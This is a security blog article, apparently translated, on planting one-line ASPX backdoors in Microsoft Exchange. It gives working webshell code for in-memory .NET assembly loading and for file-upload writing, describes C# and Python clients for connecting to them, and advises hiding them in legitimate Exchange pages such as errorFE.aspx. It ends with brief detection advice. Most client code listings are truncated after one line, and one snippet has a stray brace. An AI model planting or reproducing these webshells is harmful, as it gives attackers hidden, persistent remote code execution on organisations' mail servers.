0x00 Preface
---
In the previous article 'Analysis of APT34 Leaked Tools - HighShell and HyperShell', we analyzed ExpiredPassword.aspx in HyperShell, which implements backdoor functionality by adding code to ExpiredPassword.aspx under the Exchange login page.
This article will follow this approach, introducing two additional implementation methods from a technical perspective, open-sourcing test code, and providing defense recommendations.
0x01 Introduction
---
This article will cover the following:
- Implementation of two backdoor codes
- Backdoor connection implementation via C Sharp code
- Backdoor connection implementation via Python code
- Utilization analysis
- Defense recommendations
0x02 Implementation of Two Backdoor Codes
---
1. Memory loading of .NET assemblies
Reference: 'Implementing New One-Sentence Trojans Using Dynamic Binary Encryption - .NET Edition'
To shorten code length, the sample test1.aspx code is as follows:
<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%> |
The code checks for the presence of POST request parameter demodata; if present, it base64-decodes the content of demodata from the POST request, loads it in memory, and invokes an instance named Payload
Note:
sharpyshell also uses the same memory loading approach
We can generate Payload in the following ways:
(1) Create a new file demo.cs
Code is as follows:
using System; |
(2) Compile to generate a DLL file
The command is as follows:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library demo.cs |
After generating demo.dll, perform Base64 encryption and use it as the content of the demodata parameter in a POST request sent to test1.aspx to trigger the backdoor
2. File Write
To shorten the code length, the example code for test2.aspx is as follows:
<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%> |
The code checks if there is a file upload request; if it exists, it saves the content of the first file upload request to uploadDemo.aspx in the same directory
Parameter description:
- Request.Files.Count: Number of uploaded files
- Server.MapPath(""): Returns the physical file path of the current page
- Request.Files[0].SaveAs(): Saves the first uploaded file
- Server.MapPath("./uploadByfile.aspx"): Returns the path of "uploadByfile.aspx" in the same directory as the current page
0x03 Implementing Backdoor Connection via C# Code
---
1. In-Memory Loading of .NET Assembly
When sending POST requests with parameters, ContentType must be specified as application/x-www-form-urlencoded
Special attention must be paid to escape characters in POST request content. For example, the character = is interpreted as a special character separating keys and values. When using base64 encoding, the character = is used, so when sending POST requests, the base64-encoded result must be URL-encoded again, e.g., converting the character = to %3d
Complete code as follows:
using System; |
2. File Writing
When sending files via POST request, ContentType must be specified as multipart/form-data
Complete code as follows:
using System; |
0x04 Backdoor Connection via Python Code
---
Compared to C#, Python code is more concise
1. Memory Loading .NET Assembly
Send POST request with parameter demodata, content is base64 encoded string
Complete code as follows:
import requests |
2. File Writing
Send POST request to upload file
Complete code as follows:
import requests |
0x05 Exploitation Analysis
---
Whether it is a memory-loaded .NET assembly or a file-written one-liner backdoor, it can not only exist as an independent aspx file but also be inserted into normal Exchange pages
For example, file location: %ExchangeInstallPath%FrontEnd\HttpProxy\owa\auth\errorFE.aspx
errorFE.aspx is the error page of Exchange, where a one-liner backdoor can be inserted
The access URL is: https:///owa/auth/errorFE.aspx
Note:
Files under %ExchangeInstallPath%FrontEnd\ can be directly accessed via the web
Files under %ExchangeInstallPath%ClientAccess\ can only be accessed by authenticated users, meaning access requires a valid user's Cookie
For testing convenience, I have written test programs to connect to the one-liner backdoor, implemented in C# and Python respectively. The code has been uploaded to GitHub, with the following addresses:
An open-source project
An open-source project
The code supports connections for in-memory loading of .NET assemblies and file write backdoors
Supports login authentication, for example, saving the backdoor file as: %ExchangeInstallPath%ClientAccess\ecp\Education.aspx
The accessed URL is: https:///ecp/Education.aspx
For SharpExchangeBackdoor.cs, the following issues need attention when implementing the login authentication functionality:
Normally, when accessing https:///owa/auth.owa, it will default to a 302 redirect to https:///owa. To obtain usable cookies, redirects need to be disabled here.
For SharpExchangeBackdoor.py, when implementing the login authentication functionality, using a session object can automatically handle webpage redirects to obtain usable cookies.
As a test program, SharpExchangeBackdoor's communication data is not encrypted; the in-memory .NET assembly loading function only uses base64 encoding, and the file write function is unencrypted.
0x06 Defense Recommendations
---
For Exchange one-sentence backdoors, it is necessary not only to check for new file writes but also to determine if legitimate pages have been injected with malicious content.
In static analysis, you can check if ASPX files contain the following sensitive functions:
- In-memory loading: Assembly.Load, Assembly.LoadFrom, Assembly.LoadFile
- File writing: SaveAs, Write, WriteLine, WriteAllLines
- Process startup: Start, WinExec
0x07 Summary
---
This article introduces two types of one-liner backdoors for Exchange (in-memory loading of .NET assemblies and file writing), provides open-source test code, analyzes exploitation approaches, and offers defense recommendations.